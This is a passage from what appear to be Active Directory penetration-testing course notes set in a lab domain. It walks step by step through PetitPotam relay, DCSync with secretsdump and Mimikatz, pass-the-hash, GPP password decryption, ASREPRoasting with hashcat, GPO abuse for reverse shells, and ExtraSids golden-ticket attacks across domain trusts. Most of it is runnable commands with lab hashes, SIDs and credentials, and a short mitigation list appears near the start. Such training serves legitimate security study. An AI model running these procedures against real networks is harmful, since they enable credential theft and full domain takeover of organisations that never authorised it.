INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache ``` **Setting the KRB5CCNAME Environment Variable** The TGT requested above was saved down to the `dc01.ccache` file, which we use to set the KRB5CCNAME environment variable, so our attack host uses this file for Kerberos authentication attempts. ```shell-session export KRB5CCNAME=dc01.ccache ``` **Using Domain Controller TGT to DCSync** We can then use this TGT with `secretsdump.py` to perform a DCSYnc and retrieve one or all of the NTLM password hashes for the domain. ```bash secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL ``` We could also use a more straightforward command: `secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL` because the tool will retrieve the username from the ccache file. We can see this by typing `klist` (using the `klist` command requires installation of the [krb5-user](https://packages.ubuntu.com/focal/krb5-user) package on our attack host) **Confirming Admin Access to the Domain Controller** ```bash crackmapexec smb -u administrator -H 88ad09182de639ccc6579eb0849751cf ``` **Submitting a TGS Request for Ourselves Using getnthash.py** We can also take an alternate route once we have the TGT for our target. Using the tool `getnthash.py` from PKINITtools we could request the NT hash for our target host/user by using Kerberos U2U to submit a TGS request with the [Privileged Attribute Certificate (PAC)](https://stealthbits.com/blog/what-is-the-kerberos-pac/) which contains the NT hash for the target. This can be decrypted with the AS-REP encryption key we obtained when requesting the TGT earlier. ```bash python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$ ``` **Using Domain Controller NTLM Hash to DCSync** ```bash secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba ``` Alternatively, once we obtain the base64 certificate via ntlmrelayx.py, we could use the certificate with the Rubeus tool on a Windows attack host to request a TGT ticket and perform a pass-the-ticket (PTT) attack all at once. **Requesting TGT and Performing PTT with DC01$ Machine Account** ```batch .\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt ``` Again, since Domain Controllers have replication privileges in the domain, we can use the pass-the-ticket to perform a DCSync attack using Mimikatz from our Windows attack host. ```powershell-session .\mimikatz.exe lsadump::dcsync /user:inlanefreight\krbtgt ``` ### PetitPotam Mitigations First off, the patch for [CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942) should be applied to any affected hosts. Below are some further hardening steps that can be taken: * To prevent NTLM relay attacks, use [Extended Protection for Authentication](https://docs.microsoft.com/en-us/security-updates/securityadvisories/2009/973811) along with enabling [Require SSL](https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429) to only allow HTTPS connections for the Certificate Authority Web Enrollment and Certificate Enrollment Web Service services * [Disabling NTLM authentication](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain) for Domain Controllers * Disabling NTLM on AD CS servers using [Group Policy](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-incoming-ntlm-traffic) * Disabling NTLM for IIS on AD CS servers where the Certificate Authority Web Enrollment and Certificate Enrollment Web Service services are in use ## Miscellaneous Misconfigurations There are many other attacks and interesting misconfigurations that we may come across during an assessment. A broad understanding of the ins and outs of AD will help us think outside the box and discover issues that others are likely to miss. ### Exchange Related Group Membership The group `Exchange Windows Permissions` is not listed as a protected group, but members are granted the ability to write a DACL to the domain object. This can be leveraged to give a user DCSync privileges. An attacker can add accounts to this group by leveraging a DACL misconfiguration (possible) or by leveraging a compromised account that is a member of the Account Operators group. This [GitHub repo](https://github.com/gdedrouas/Exchange-AD-Privesc) details a few techniques for leveraging Exchange for escalating privileges in an AD environment. The Exchange group `Organization Management` is another extremely powerful group (effectively the "Domain Admins" of Exchange) and can access the mailboxes of all domain users. This group also has full control of the OU called `Microsoft Exchange Security Groups`, which contains the group `Exchange Windows Permissions`. If we can compromise an Exchange server, this will often lead to Domain Admin privileges. Additionally, dumping credentials in memory from an Exchange server will produce 10s if not 100s of cleartext credentials or NTLM hashes. This is often due to users logging in to Outlook Web Access (OWA) and Exchange caching their credentials in memory after a successful login. ### PrivExchange The `PrivExchange` attack results from a flaw in the Exchange Server `PushSubscription` feature, which allows any domain user with a mailbox to force the Exchange server to authenticate to any host provided by the client over HTTP. The Exchange service runs as SYSTEM and is over-privileged by default (i.e., has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be leveraged to relay to LDAP and dump the domain NTDS database. If we cannot relay to LDAP, this can be leveraged to relay and authenticate to other hosts within the domain. This attack will take you directly to Domain Admin with any authenticated domain user account. ### Printer Bug The Printer Bug is a flaw in the MS-RPRN protocol (Print System Remote Protocol). To leverage this flaw, any domain user can connect to the spool's named pipe with the `RpcOpenPrinter` method and use the `RpcRemoteFindFirstPrinterChangeNotificationEx` method, and force the server to authenticate to any host provided by the client over SMB. The spooler service runs as SYSTEM and is installed by default in Windows servers running Desktop Experience. This attack can be leveraged to relay to LDAP and grant your attacker account DCSync privileges to retrieve all password hashes from AD. The attack can also be used to relay LDAP authentication and grant Resource-Based Constrained Delegation (RBCD) privileges for the victim to a computer account under our control, thus giving the attacker privileges to authenticate as any user on the victim's computer. This attack can be leveraged to compromise a Domain Controller in a partner domain/forest, provided you have administrative access to a Domain Controller in the first forest/domain already, and the trust allows TGT delegation, which is not by default anymore. We can use tools such as the `Get-SpoolStatus` module from [this](http://web.archive.org/web/20200919080216/https://github.com/cube0x0/Security-Assessment) tool or [this](https://github.com/NotMedic/NetNTLMtoSilverTicket) tool to check for machines vulnerable to the [MS-PRN Printer Bug](https://blog.sygnia.co/demystifying-the-print-nightmare-vulnerability). This flaw can be used to compromise a host in another forest that has Unconstrained Delegation enabled, such as a domain controller. **Enumerating for MS-PRN Printer Bug** ```powershell Import-Module .\SecurityAssessment.ps1 Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL ``` ### MS14-068 This was a flaw in the Kerberos protocol, which could be leveraged along with standard domain user credentials to elevate privileges to Domain Admin. A Kerberos ticket contains information about a user, including the account name, ID, and group membership in the Privilege Attribute Certificate (PAC). The vulnerability allowed a forged PAC to be accepted by the KDC as legitimate. This can be leveraged to create a fake PAC, presenting a user as a member of the Domain Administrators or other privileged group. It can be exploited with tools such as the [Python Kerberos Exploitation Kit (PyKEK)](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) or the Impacket toolkit. The only defense against this attack is patching. The machine [Mantis](https://app.hackthebox.com/machines/98) on the Hack The Box platform showcases this vulnerability. ### Sniffing LDAP Credentials Many applications and printers store LDAP credentials in their web admin console to connect to the domain. These consoles are often left with weak or default passwords. Sometimes, these credentials can be viewed in cleartext. Other times, the application has a `test connection` function that we can use to gather credentials by changing the LDAP IP address to that of our attack host and setting up a `netcat` listener on LDAP port 389. When the device attempts to test the LDAP connection, it will send the credentials to our machine, often in cleartext. Accounts used for LDAP connections are often privileged, but if not, this could serve as an initial foothold in the domain. Other times, a full LDAP server is required to pull off this attack, as detailed in this [post](https://grimhacker.com/2018/03/09/just-a-printer/). ### Enumerating DNS Records We can use a tool such as [adidnsdump](https://github.com/dirkjanm/adidnsdump) to enumerate all DNS records in a domain using a valid domain user account. This is especially helpful if the naming convention for hosts returned to us in our enumeration using tools such as `BloodHound` is similar to `SRV01934.INLANEFREIGHT.LOCAL`. If all servers and workstations have a non-descriptive name, it makes it difficult for us to know what exactly to attack. If we can access DNS entries in AD, we can potentially discover interesting DNS records that point to this same server, such as `JENKINS.INLANEFREIGHT.LOCAL`, which we can use to better plan out our attacks. The tool works because, by default, all users can list the child objects of a DNS zone in an AD environment. **Using adidnsdump** ```shell-session adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 ``` If we run again with the `-r` flag the tool will attempt to resolve unknown records by performing an `A` query. *** ### Other Misconfigurations #### Password in Description Field Sensitive information such as account passwords are sometimes found in the user account `Description` or `Notes` fields and can be quickly enumerated using PowerView. For large domains, it is helpful to export this data to a CSV file to review offline. **Finding Passwords in the Description Field using Get-Domain User** ```powershell Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null} ``` ### PASSWD\_NOTREQD Field It is possible to come across domain accounts with the [passwd\_notreqd](https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD) field set in the userAccountControl attribute. If this is set, the user is not subject to the current password policy length, meaning they could have a shorter password or no password at all (if empty passwords are allowed in the domain). Just because this flag is set on an account, it doesn't mean that no password is set, just that one may not be required. There are many reasons why this flag may be set on a user account, one being that a vendor product set this flag on certain accounts at the time of installation and never removed the flag post-install. **Checking for PASSWD\_NOTREQD Setting using Get-DomainUser** ```powershell Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol ``` ### Credentials in SMB Shares and SYSVOL Scripts The SYSVOL share can be a treasure trove of data, especially in large organizations. We may find many different batch, VBScript, and PowerShell scripts within the scripts directory, which is readable by all authenticated users in the domain. It is worth digging around this directory to hunt for passwords stored in scripts. Sometimes we will find very old scripts containing since disabled accounts or old passwords, but from time to time, we will strike gold, so we should always dig through this directory. ### Group Policy Preferences (GPP) Passwords When a new GPP is created, an .xml file is created in the SYSVOL share, which is also cached locally on endpoints that the Group Policy applies to. These files can include those used to: * Map drives (drives.xml) * Create local users * Create printer config files (printers.xml) * Creating and updating services (services.xml) * Creating scheduled tasks (scheduledtasks.xml) * Changing local admin passwords. These files can contain an array of configuration data and defined passwords. The `cpassword` attribute value is AES-256 bit encrypted, but Microsoft [published the AES private key on MSDN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN), which can be used to decrypt the password. Any domain user can read these files as they are stored on the SYSVOL share, and all authenticated users in a domain, by default, have read access to this domain controller share. This was patched in 2014 [MS14-025 Vulnerability in GPP could allow elevation of privilege](https://support.microsoft.com/en-us/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30), to prevent administrators from setting passwords using GPP. The patch does not remove existing Groups.xml files with passwords from SYSVOL. If you delete the GPP policy instead of unlinking it from the OU, the cached copy on the local computer remains. The XML looks like the following:
If you retrieve the cpassword value more manually, the `gpp-decrypt` utility can be used to decrypt the password as follows: **Decrypting the Password with gpp-decrypt** ```bash gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE ``` GPP passwords can be located by searching or manually browsing the SYSVOL share or using tools such as [Get-GPPPassword.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1), the GPP Metasploit Post Module, and other Python/Ruby scripts which will locate the GPP and return the decrypted cpassword value. CrackMapExec also has two modules for locating and retrieving GPP passwords. One quick tip to consider during engagements: Often, GPP passwords are defined for legacy accounts, and you may therefore retrieve and decrypt the password for a locked or deleted account. However, it is worth attempting to password spray internally with this password (especially if it is unique). Password re-use is widespread, and the GPP password combined with password spraying could result in further access. **Locating & Retrieving GPP Passwords with CrackMapExec** ```bash crackmapexec smb -L | grep gpp ``` It is also possible to find passwords in files such as Registry.xml when autologon is configured via Group Policy. This may be set up for any number of reasons for a machine to automatically log in at boot. If this is set via Group Policy and not locally on the host, then anyone on the domain can retrieve credentials stored in the Registry.xml file created for this purpose. We can hunt for this using CrackMapExec with the [gpp\_autologin](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-gpp_autologin) module, or using the [Get-GPPAutologon.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1) script included in PowerSploit. **Using CrackMapExec's gpp\_autologin Module** ```bash crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin ``` A theme that we touch on throughout this module is password re-use. Poor password hygiene is common in many organizations, so whenever we obtain credentials, we should check to see if we can use them to access other hosts (as a domain or local user), leverage any rights such as interesting ACLs, access shares, or use the password in a password spraying attack to uncover password re-use and maybe an account that grants us further access towards our goal. ### ASREPRoasting It's possible to obtain the Ticket Granting Ticket (TGT) for any account that has the [Do not require Kerberos pre-authentication](https://www.tenable.com/blog/how-to-stop-the-kerberos-pre-authentication-attack-in-active-directory) setting enabled. Many vendor installation guides specify that their service account be configured in this way. The authentication service reply (AS\_REP) is encrypted with the account’s password, and any domain user can request it. With pre-authentication, a user enters their password, which encrypts a time stamp. The Domain Controller will decrypt this to validate that the correct password was used. ASREPRoasting is similar to Kerberoasting, but it involves attacking the AS-REP instead of the TGS-REP. An SPN is not required. This setting can be enumerated with PowerView or built-in tools such as the PowerShell AD module. The attack itself can be performed with the [Rubeus](https://github.com/GhostPack/Rubeus) toolkit and other tools to obtain the ticket for the target account. If an attacker has `GenericWrite` or `GenericAll` permissions over an account, they can enable this attribute and obtain the AS-REP ticket for offline cracking to recover the account's password before disabling the attribute again. Below is an example of the attack. PowerView can be used to enumerate users with their UAC value set to `DONT_REQ_PREAUTH`. **Enumerating for DONT\_REQ\_PREAUTH Value using Get-DomainUser** ```powershell Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl ``` **Retrieving AS-REP in Proper Format using Rubeus** ```powershell .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat ``` **Cracking the Hash Offline with Hashcat** ```bash hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt ``` When performing user enumeration with `Kerbrute`, the tool will automatically retrieve the AS-REP for any users found that do not require Kerberos pre-authentication. (jsmith.txt is a userlist) **Retrieving the AS-REP Using Kerbrute** ```bash kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt ``` With a list of valid users, we can use [Get-NPUsers.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from the Impacket toolkit to hunt for all users with Kerberos pre-authentication not required. **Hunting for Users with Kerberoast Pre-auth Not Required** ```bash GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users ``` ### Group Policy Object (GPO) Abuse Group Policy provides administrators with many advanced settings that can be applied to both user and computer objects in an AD environment. Group Policy, when used right, is an excellent tool for hardening an AD environment by configuring user settings, operating systems, and applications. That being said, Group Policy can also be abused by attackers. If we can gain rights over a Group Policy Object via an ACL misconfiguration, we could leverage this for lateral movement, privilege escalation, and even domain compromise and as a persistence mechanism within the domain. GPO misconfigurations can be abused to perform the following attacks: * Adding additional rights to a user (such as SeDebugPrivilege, SeTakeOwnershipPrivilege, or SeImpersonatePrivilege) * Adding a local admin user to one or more hosts * Creating an immediate scheduled task to perform any number of actions We can enumerate GPO information using many of the tools we've been using throughout this module such as PowerView and BloodHound. We can also use [group3r](https://github.com/Group3r/Group3r), [ADRecon](https://github.com/sense-of-security/ADRecon), [PingCastle](https://www.pingcastle.com/), among others, to audit the security of GPOs in a domain. **Enumerating GPO Names with PowerView** ```powershell Get-DomainGPO | select displayname ``` Example: We can see that autologon is in use which may mean there is a readable password in a GPO, and see that Active Directory Certificate Services (AD CS) is present in the domain. If Group Policy Management Tools are installed on the host we are working from, we can use various built-in [GroupPolicy cmdlets](https://docs.microsoft.com/en-us/powershell/module/grouppolicy/?view=windowsserver2022-ps) such as `Get-GPO` to perform the same enumeration. **Enumerating GPO Names with a Built-In Cmdlet** ```powershell Get-GPO -All | Select DisplayName ``` Next, we can check if a user we can control has any rights over a GPO. **Enumerating Domain User GPO Rights** ```powershell $sid=Convert-NameToSid "Domain Users" Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid} ``` We can use the GPO GUID combined with `Get-GPO` to see the display name of the GPO. **Converting GPO GUID to Name** ```powershell Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532 ``` Example: ``` DisplayName : Disconnect Idle RDP DomainName : INLANEFREIGHT.LOCAL Owner : INLANEFREIGHT\Domain Admins Id : 7ca9c789-14ce-46e3-a722-83f4097af532 GpoStatus : AllSettingsEnabled Description : CreationTime : 10/28/2021 3:34:07 PM ModificationTime : 4/5/2022 6:54:25 PM UserVersion : AD Version: 0, SysVol Version: 0 ComputerVersion : AD Version: 0, SysVol Version: 0 WmiFilter : ``` Checking in BloodHound, we can see that the `Domain Users` group has several rights over the `Disconnect Idle RDP` GPO, which could be leveraged for full control of the object.
If we select the GPO in BloodHound and scroll down to `Affected Objects` on the `Node Info` tab, we can see that this GPO is applied to one OU, which contains four computer objects.
We could use a tool such as [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse) to take advantage of this GPO misconfiguration by performing actions such as adding a user that we control to the local admins group on one of the affected hosts, creating an immediate scheduled task on one of the hosts to give us a reverse shell, or configure a malicious computer startup script to provide us with a reverse shell or similar. {% hint style="warning" %} When using a tool like this, we need to be careful because commands can be run that affect every computer within the OU that the GPO is linked to. If we found an editable GPO that applies to an OU with 1,000 computers, we would not want to make the mistake of adding ourselves as a local admin to that many hosts. {% endhint %} Some of the attack options available with this tool allow us to specify a target user or host. # Domain trusts **Trust Table Side By Side** | Transitive | Non-Transitive | | --------------------------------------------------------------------- | ------------------------------------------- | | Shared, 1 to many | Direct trust | | The trust is shared with anyone in the forest | Not extended to next level child domains | | Forest, tree-root, parent-child, and cross-link trusts are transitive | Typical for external or custom trust setups | * `Parent-child`: Two or more domains within the same forest. The child domain has a two-way transitive trust with the parent domain, meaning that users in the child domain `corp.inlanefreight.local` could authenticate into the parent domain `inlanefreight.local`, and vice-versa. * `Cross-link`: A trust between child domains to speed up authentication. * `External`: A non-transitive trust between two separate domains in separate forests which are not already joined by a forest trust. This type of trust utilizes [SID filtering](https://www.serverbrain.org/active-directory-2008/sid-history-and-sid-filtering.html) or filters out authentication requests (by SID) not from the trusted domain. * `Tree-root`: A two-way transitive trust between a forest root domain and a new tree root domain. They are created by design when you set up a new tree root domain within a forest. * `Forest`: A transitive trust between two forest root domains. * [ESAE](https://docs.microsoft.com/en-us/security/compass/esae-retirement): A bastion forest used to manage Active Directory. Trusts can be set up in two directions: one-way or two-way (bidirectional). * `One-way trust`: Users in a `trusted` domain can access resources in a trusting domain, not vice-versa. * `Bidirectional trust`: Users from both trusting domains can access resources in the other domain. For example, in a bidirectional trust between `INLANEFREIGHT.LOCAL` and `FREIGHTLOGISTICS.LOCAL`, users in `INLANEFREIGHT.LOCAL` would be able to access resources in `FREIGHTLOGISTICS.LOCAL`, and vice-versa. ### Enumerating Trust Relationships **Using Get-ADTrust (built-in)** ```powershell Import-Module activedirectory Get-ADTrust -Filter * ```
Output ```powershell-session Direction : BiDirectional DisallowTransivity : False DistinguishedName : CN=LOGISTICS.INLANEFREIGHT.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL ForestTransitive : False IntraForest : True IsTreeParent : False IsTreeRoot : False Name : LOGISTICS.INLANEFREIGHT.LOCAL ObjectClass : trustedDomain ObjectGUID : f48a1169-2e58-42c1-ba32-a6ccb10057ec SelectiveAuthentication : False SIDFilteringForestAware : False SIDFilteringQuarantined : False Source : DC=INLANEFREIGHT,DC=LOCAL Target : LOGISTICS.INLANEFREIGHT.LOCAL TGTDelegation : False TrustAttributes : 32 TrustedPolicy : TrustingPolicy : TrustType : Uplevel UplevelOnly : False UsesAESKeys : False UsesRC4Encryption : False Direction : BiDirectional DisallowTransivity : False DistinguishedName : CN=FREIGHTLOGISTICS.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL ForestTransitive : True IntraForest : False IsTreeParent : False IsTreeRoot : False Name : FREIGHTLOGISTICS.LOCAL ObjectClass : trustedDomain ObjectGUID : 1597717f-89b7-49b8-9cd9-0801d52475ca SelectiveAuthentication : False SIDFilteringForestAware : False SIDFilteringQuarantined : False Source : DC=INLANEFREIGHT,DC=LOCAL Target : FREIGHTLOGISTICS.LOCAL TGTDelegation : False TrustAttributes : 8 TrustedPolicy : TrustingPolicy : TrustType : Uplevel UplevelOnly : False UsesAESKeys : False UsesRC4Encryption : False ```
The above output shows that our current domain `INLANEFREIGHT.LOCAL` has two domain trusts. The first is with `LOGISTICS.INLANEFREIGHT.LOCAL`, and the `IntraForest` property shows that this is a child domain, and we are currently positioned in the root domain of the forest. The second trust is with the domain `FREIGHTLOGISTICS.LOCAL,` and the `ForestTransitive` property is set to `True`, which means that this is a forest trust or external trust. **Checking for Existing Trusts using Get-DomainTrust (PowerView)** ```powershell Get-DomainTrust ``` PowerView can be used to perform a domain trust mapping and provide information such as the type of trust (parent/child, external, forest) and the direction of the trust (one-way or bidirectional). **Using Get-DomainTrustMapping** ```powershell Get-DomainTrustMapping ``` From here, we could begin performing enumeration across the trusts. For example, we could look at all users in the child domain: **Checking Users in the Child Domain using Get-DomainUser** ```powershell Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName ``` Another tool we can use to get Domain Trust is `netdom`. The `netdom query` sub-command of the `netdom` command-line tool in Windows can retrieve information about the domain, including a list of workstations, servers, and domain trusts. **Using netdom to query domain trust** ```batch netdom query /domain:inlanefreight.local trust ``` **Using netdom to query domain controllers** ```batch netdom query /domain:inlanefreight.local dc ``` **Using netdom to query workstations and servers** ```batch netdom query /domain:inlanefreight.local workstation ``` We can also use BloodHound to visualize these trust relationships by using the `Map Domain Trusts` pre-built query. Here we can easily see that two bidirectional trusts exist. **Visualizing Trust Relationships in BloodHound**
## Attacking Domain Trusts - Child -> Parent Trusts - from Windows ### SID History Primer The [sidHistory](https://docs.microsoft.com/en-us/windows/win32/adschema/a-sidhistory) attribute is used in migration scenarios. SID history is intended to work across domains, but can work in the same domain. Using Mimikatz, an attacker can perform SID history injection and add an administrator account to the SID History attribute of an account they control. When logging in with this account, all of the SIDs associated with the account are added to the user's token. This token is used to determine what resources the account can access. If the SID of a Domain Admin account is added to the SID History attribute of this account, then this account will be able to perform DCSync and create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001/) or a Kerberos ticket-granting ticket (TGT), which will allow for us to authenticate as any account in the domain of our choosing for further persistence. ### ExtraSids Attack - Mimikatz This attack allows for the compromise of a parent domain once the child domain has been compromised. Within the same AD forest, the [sidHistory](https://docs.microsoft.com/en-us/windows/win32/adschema/a-sidhistory) property is respected due to a lack of [SID Filtering](https://www.serverbrain.org/active-directory-2008/sid-history-and-sid-filtering.html) protection. SID Filtering is a protection put in place to filter out authentication requests from a domain in another forest across a trust. To perform this attack after compromising a child domain, we need the following: * The KRBTGT hash for the child domain * The SID for the child domain * The name of a target user in the child domain (does not need to exist!) * The FQDN of the child domain. * The SID of the Enterprise Admins group of the root domain. * With this data collected, the attack can be performed with Mimikatz. First, we need to obtain the NT hash for the [KRBTGT](https://adsecurity.org/?p=483) account, which is a service account for the Key Distribution Center (KDC) in Active Directory. Since we have compromised the child domain, we can log in as a Domain Admin or similar and perform the DCSync attack to obtain the NT hash for the KRBTGT account. **Obtaining the KRBTGT Account's NT Hash using Mimikatz** ```powershell-session lsadump::dcsync /user:LOGISTICS\krbtgt ```
Output ```powershell-session [DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain [DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server [DC] 'LOGISTICS\krbtgt' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 11/1/2021 11:21:33 AM Object Security ID : S-1-5-21-2806153819-209893948-922872689-502 Object Relative ID : 502 Credentials: Hash NTLM: 9d765b482771505cbe97411065964d5f ntlm- 0: 9d765b482771505cbe97411065964d5f lm - 0: 69df324191d4a80f0ed100c10f20561e ```
We can use the PowerView `Get-DomainSID` function to get the SID for the child domain, but this is also visible in the Mimikatz output above. **Using Get-DomainSID** ```powershell Get-DomainSID ```
Output ```powershell-session S-1-5-21-2806153819-209893948-922872689 ```
Next, we can use `Get-DomainGroup` from PowerView to obtain the SID for the Enterprise Admins group in the parent domain. We could also do this with the [Get-ADGroup](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps) cmdlet with a command such as `Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"`. **Obtaining Enterprise Admins Group's SID using Get-DomainGroup** ```powershell Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid ```
Output ```powershell-session distinguishedname objectsid ----------------- --------- CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519 ```
At this point, we have gathered the following data points: * The KRBTGT hash for the child domain: `9d765b482771505cbe97411065964d5f` * The SID for the child domain: `S-1-5-21-2806153819-209893948-922872689` * The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user: `hacker` * The FQDN of the child domain: `LOGISTICS.INLANEFREIGHT.LOCAL` * The SID of the Enterprise Admins group of the root domain: `S-1-5-21-3842939050-3880317879-2865463114-519` Before the attack, we can confirm no access to the file system of the DC in the parent domain. **Using ls to Confirm No Access** ```powershell ls \\academy-ea-dc01.inlanefreight.local\c$ ``` Using Mimikatz and the data listed above, we can create a Golden Ticket to access all resources within the parent domain. **Creating a Golden Ticket with Mimikatz** ```powershell mimikatz.exe kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt ``` We can confirm that the Kerberos ticket for the non-existent hacker user is residing in memory. **Confirming a Kerberos Ticket is in Memory Using klist** ```powershell klist ```
Output ```powershell-session Current LogonId is 0:0xf6462 Cached Tickets: (1) #0> Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/28/2022 19:59:50 (local) End Time: 3/25/2032 19:59:50 (local) Renew Time: 3/25/2032 19:59:50 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: ```
From here, it is possible to access any resources within the parent domain, and we could compromise the parent domain in several ways. **Listing the Entire C: Drive of the Domain Controller** ```powershell-session ls \\academy-ea-dc01.inlanefreight.local\c$ ``` ### ExtraSids Attack - Rubeus We can also perform this attack using Rubeus. First, again, we'll confirm that we cannot access the parent domain Domain Controller's file system. Next, we will formulate our Rubeus command using the data we retrieved above. The `/rc4` flag is the NT hash for the KRBTGT account. The `/sids` flag will tell Rubeus to create our Golden Ticket giving us the same rights as members of the Enterprise Admins group in the parent domain. **Creating a Golden Ticket using Rubeus** ```powershell .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt ``` Once again, we can check that the ticket is in memory using the `klist` command. **Confirming the Ticket is in Memory Using klist** ```powershell klist ``` Finally, we can test this access by performing a DCSync attack against the parent domain, targeting the `lab_adm` Domain Admin user. ```powershell-session .\mimikatz.exe lsadump::dcsync /user:INLANEFREIGHT\lab_adm ``` When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller. The command for this would look like the following: ```powershell-session lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL ``` ## Attacking Domain Trusts - Child -> Parent Trusts - from Linux We can also perform the attack shown in the previous section from a Linux attack host. To do so, we'll still need to gather the same bits of information: * The KRBTGT hash for the child domain * The SID for the child domain * The name of a target user in the child domain (does not need to exist!) * The FQDN of the child domain * The SID of the Enterprise Admins group of the root domain Once we have complete control of the child domain, `LOGISTICS.INLANEFREIGHT.LOCAL`, we can use `secretsdump.py` to DCSync and grab the NTLM hash for the KRBTGT account. **Performing DCSync with secretsdump.py** ```bash secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt ``` Next, we can use [lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py) from the Impacket toolkit to perform SID brute forcing to find the SID of the child domain. In this command, whatever we specify for the IP address (the IP of the domain controller in the child domain) will become the target domain for a SID lookup. The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format `DOMAIN_SID-RID`. For example, from the output below, we can see that the SID of the `lab_adm` user would be `S-1-5-21-2806153819-209893948-922872689-1001`. **Performing SID Brute Forcing using lookupsid.py** ```bash lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 ``` Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5 and grab the domain `SID S-1-5-21-3842939050-3880317879-2865463114` and attach the RID of the Enterprise Admins group. [Here](https://adsecurity.org/?p=1001) is a handy list of well-known 